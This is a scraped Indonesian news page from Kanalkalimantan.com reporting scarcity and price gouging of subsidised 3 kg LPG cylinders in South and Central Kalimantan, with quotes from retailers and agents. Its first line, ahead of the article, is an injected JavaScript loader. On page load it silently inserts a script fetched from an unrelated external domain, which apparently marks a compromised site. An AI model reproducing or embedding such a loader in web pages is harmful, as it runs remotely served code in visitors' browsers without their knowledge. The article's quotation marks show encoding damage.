(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kelangkaan LPG 3 kg terjadi di sejumlah daerah menjelang pergantian tahun. Sulitnya menemukan tabung gas yang disebut ‘Si Melon’ ini dimanfaatkan oleh sejumlah pengecer untuk menaikkan harga. Di Banjarbaru, ada yang menjual LPG 3 kg tersebut dengan bandrol Rp 30 ribu. Bahkan di Kecamatan Murung Pudak, Tabalong, ada yang menjual hingga Rp 40 ribu.
Pantauan wartawan Kanalkalimantan.com  di sejumlah lokasi memang mendapati kios ataupun toko pengecer LPG 3 kg tak memiliki persediaan alias kosong. Seperti halnya di toko milik Tauhid (53) yang menjadi salah satu pengecer LPG 3 kg di Pasar Banjarbaru.
Dia mengatakan, dalam beberapa hari ini toko miliknya belum mendapat kiriman jatah elpiji. Sementara untuk LPG non subsidi ukuran 5,5 kg dan 12 kg tetap tersedia. Kalaupun ada stok, jumlahnya pun terbatas dan dia biasa menjual dengan kisaran harga Rp 24-25 ribu. “Saya jual segitu karena saya mengambil dengan harga Rp 21-22 ribu per tabung,†jelasnya.
Di kawasan Guntung Payung, Landasan Ulin, sebuah kios malah menjual LPG 3 kg seharga Rp 30 ribu. Mahalnya harga yang ditetapkan dari harga normal sekitar Rp 14.750, karena terbatasnya stok barang. (Baca : ASN di Lingkup Kalsel Dilarang Pakai LPG 3 Kg).
Di tempat lain, seperti di Banjarmasin, agen khusus LPG 3 kg di Jl Cempaka Raya RT 18 No 1 menjelaskan bahwa pemasok akan datang tiap dua bulan sekali. Namun, barang yang didrop sangat cepat habis. Pemiliknya, M Haderi Yani (53) mengatakan, setiap pemasok gas 3 kg datang, warga sekitar akan mengantri panjang dan beberapa hari saja langsung habis.
“Harga eceran gas LPG 3 kg di sini dijual Rp 20 ribu dari harga pemasoknya Rp 18 ribu. Kebijakan khusus untuk pangkalan gas domestic seperti ini tiap warga yang datang membeli harus membawa KTP,†jelasnya kepada Kanalkalimantan.
Sedangkan pemilik toko klontong Fatimah (42), mengatakan menjual LPG 3 kg dengan harga Rp 27 ribu. Menurutnya, kenaikan harga yang sangat drastis ini dikarenakan gas 3 kg semakin langka terhitung semenjak habis lebaran. “Saya biasanya mengambil di agen Banjar Raya itu pun dikasih harga 25.000, jadi saya untung Rp 2.000 dan kalau penjual warung seperti saya palingan cuman boleh tukar 5 sampai 10 tabung saja,†jelasnya.
Memang, tidak semua lokasi mengalami kesulitan pasokan LPG 3 kg. Seperti halnya pada pangkalan milik Aida Fitriani (50) di di Kelurahan Guntung Paikat, Banjarbaru. Di pangkalan ini, untuk pasokan LPG 3kg masih aman. Dalam seminggu, kata Aida, dia mendapat pasokan dari agen sebanyak 560 tabung yang dikirim dalam 2 tahap. Yakni 280 tabung pada hari Selasa, dan 280 lagi pada hari Jum’at.
“Saya mendapatkan pasokan gas dari Agen Puskop Kartika yang beralamat di Km 21 Banjarbaru,†jelasnya.
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.